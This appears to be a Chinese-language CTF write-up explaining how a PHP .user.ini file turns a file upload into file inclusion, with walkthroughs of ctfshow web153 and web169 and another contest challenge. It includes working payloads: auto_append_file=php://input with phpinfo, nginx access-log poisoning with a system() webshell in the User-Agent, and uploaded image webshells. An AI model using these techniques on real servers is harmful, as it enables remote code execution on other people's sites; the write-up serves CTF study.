深入浅出.user.ini

一、介绍

(1)服务器脚本语言为PHP

(2)对应目录下面有可执行的php文件

(3)服务器使用CGI/FastCGI模式

.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

二、用法

php配置项中有两个重要的

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename> //包含在文件尾

我们可以简单理解为,因为.user.ini配置文件的存在,在当前目录下每个php文件的首/尾加了一行包含代码。如:

includ('xx.txt');

所以从本质上来说,.user.ini配置文件把文件上传转换成了文件包含

三、奇技淫巧

.user.ini配置文件 配合伪协议\日志包含来绕过。

伪协议:

php://input

php://input可以读取没有处理过的POST数据。

auto_append_file=php://input                //自动包含POST提交的数据
<?php phpinfo();?>

日志包含:

nginx下的日志文件路径:

/var/log/nginx/access.log
auto_append_file=/var/log/nginx/access.log

极端过滤如过滤<时候,或者能上传但是不能解析,原封不动的输出。那就不能使用.user.ini配置文件配合一句话木马的.txt文件了。
这种情况就需要配合伪协议来绕过。

四、实战

ctfshow-web153

image-20240726233628964

先上传一个.user.ini

然后在上传一个图片马

image-20240726233835376

发现成功执行命令

image-20240726233854344

ctfshow-web169

image-20240726234752383

前端要求zip。后端要求png,但是还是可以修改后缀。
过滤了<,考虑包含文件了,包含日志。

先上传一个php文件,进行日志包含

image-20240726235749377

接着上传.user.ini,直接在.user.ini里包含日志路径。
auto_prepend_file=/var/log/nginx/access.log

并且在UA处写木马<?=system('ls ..')?>

然后访问url/upload/

image-20240726235927810

image-20240727000035464

image-20240727000213041

发现文件,进行读取得到flag即可

武功山杯web

image-20240726225031439

开题就是一个文件上传的按钮

image-20240726231340354

得到路径

然后访问http://59.62.61.30:45163/upload/f929a61f39a47d7c0a32c26078cc9b1a/index.php#/

看到phpinfo 证明可以执行命令

将其改成一句话木马,拿到flag

image-20240726231641396

image-20240726231624117